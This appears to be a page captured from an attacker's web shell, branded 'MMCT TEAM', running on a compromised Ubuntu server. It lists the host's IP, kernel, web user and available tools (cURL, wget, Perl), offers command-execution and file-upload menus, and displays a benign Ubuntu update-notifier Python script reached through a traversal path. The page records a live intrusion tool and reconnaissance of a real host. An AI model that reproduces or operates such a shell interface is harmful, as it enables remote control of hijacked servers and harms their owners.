MMCT TEAM
Server IP : 128.199.20.84  /  Your IP : 172.70.126.202
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux competent-maruti 5.4.0-128-generic #144-Ubuntu SMP Tue Sep 20 11:00:04 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 8.0.20
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /var/../lib/update-notifier/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /var/../lib/update-notifier/list-oem-metapackages
#!/usr/bin/python3

import fnmatch
import logging
import os
import sys

import apt
import UbuntuDrivers.detect
from gi.repository import GLib

import apt_pkg

STAMP_FILE = os.path.join(GLib.get_user_runtime_dir(), "ubuntu-drivers-oem.package-list")


def any_oem_metapackages_installed(cache):
    installed_oem_packages = (
        pkg
        for pkg in cache
        if fnmatch.fnmatch(pkg.name, "oem-*-meta") and pkg.is_installed
    )

    # Empty if there are no installed OEM packages
    return any((True for _ in installed_oem_packages))


def write_oem_metapackage_list(cache, filename):
    packages = UbuntuDrivers.detect.system_device_specific_metapackages(
        apt_cache=cache
    )

    if not packages:
        return

    with open(STAMP_FILE, "w") as f:
        f.write("\n".join(packages))


if __name__ == "__main__":
    if os.path.exists(STAMP_FILE):
        sys.exit(0)

    try:
        cache = apt.Cache()
    except apt_pkg.Error:  # broken things in sources.list, or corrupted list files
        print(
            "ERROR: Can't look into APT cache. Check your sources.list file(s), run `apt update` and try again",
            file=sys.stderr,
        )
        sys.exit(0)

    if any_oem_metapackages_installed(cache):
        sys.exit(0)

    write_oem_metapackage_list(cache, STAMP_FILE)

MMCT - 2023